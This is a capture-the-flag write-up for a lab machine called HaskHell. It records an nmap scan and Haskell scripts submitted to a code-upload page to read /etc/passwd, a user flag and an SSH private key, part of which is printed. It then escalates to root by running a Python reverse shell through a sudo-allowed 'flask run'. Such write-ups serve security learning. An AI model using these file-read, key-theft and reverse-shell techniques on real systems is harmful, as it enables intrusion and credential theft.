

HaskHell



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Teach your CS professor that his PhD isn't in security.

[Task 1] HaskHell

Show your professor that his PhD isn't in security.
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#1

Get the flag in the user.txt file.

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#2

Obtain the flag in root.txt

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writeup

--ran nmap scan and got the following

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 1d:f3:53:f7:6d:5b:a1:d4:84:51:0d:dd:66:40:4d:90 (RSA)

| 256 26:7c:bd:33:8f:bf:09:ac:9e:e3:d3:0a:c3:34:bc:14 (ECDSA)

| 256 d5:fb:55:a0:fd:e8:e1:ab:9e:46:af:b8:71:90:00:26 (ED25519)

5001/tcp open http Unicorn 19.7.1

|_ http-server-header: gunicorn/19.7.1

`http-title: Homepage`

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

--visted website at port 5001 and found a page to upload Haskell code
--ran gobuster and got the following
/submit (Status: 200)

---wrote Haskell scrip to interact with server

```
#!/usr/bin/env runhaskell
import System.IO

main = do
    handle <- openFile "/etc/passwd" ReadMode
    contents <- hGetContents handle
    putStr contents
    hClose handle
```



script returned the following:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
lxd:x:105:65534:./var/lib/lxd/:/bin/false
uidd:x:106:110:./run/uidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:./var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1:./var/cache/pollinate:/bin/false
sshd:x:110:65534:./run/sshd:/usr/sbin/nologin
haskell:x:1000:1000:haskell:/home/haskell:/bin/bash
flask:x:1001:1001:./home/flask:/bin/sh
prof:x:1002:1002:./home/prof:/bin/sh
```

wrote another script to get user flag:

```
#!/usr/bin/env runhaskell
import System.IO

main = do
    handle <- openFile "/home/prof/user.txt" ReadMode
    contents <- hGetContents handle
    putStr contents
    hClose handle
```



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wrote a haskell script to get rsa key from server:

```
#!/usr/bin/env runhaskell
import System.IO

main = do
    handle <- openFile "/home/prof/.ssh/id_rsa" ReadMode
    contents <- hGetContents handle
    putStr contents
    hClose handle
```



-----BEGIN RSA PRIVATE KEY-----

```
MIIEpAIBAAKCAQEA068E6x8/vMcUcitx9zXoWsF8WjmbB04VgGkINQCSEHtzA9cr
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i4MU8bepL/GTMgaiR8RmU2qY7wRxfK2Yd+8+GDuzLPEoS7ONNjLhNA==
```

-----END RSA PRIVATE KEY-----



--sudo chmod 600 id_rsa

--used rsa to ssh into the server

ssh prof@10.10.203.195 -i id_rsa gets us in as prof

--sudo -l

User prof may run the following commands on haskell:

(root) NOPASSWD: /usr/bin/flask run

--found flask runs as root so I created a Python script using VI on the machine:

```
import socket, subprocess, os;
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("10.2.27.69", 4444));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p=subprocess.call(["/bin/sh", "-i"]);
```



-ran 'export FLASK_APP=if.py'

--then ran netcat locally nc -lvnp 4444

--and ran if.py on machine to get root shell sudo /usr/bin/flask run

listening on [any] 4444 ...

connect to [10.2.27.69] from (UNKNOWN) [10.10.203.195] 48092

whoami

root

```
# cat /root/root.txt
```

```
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```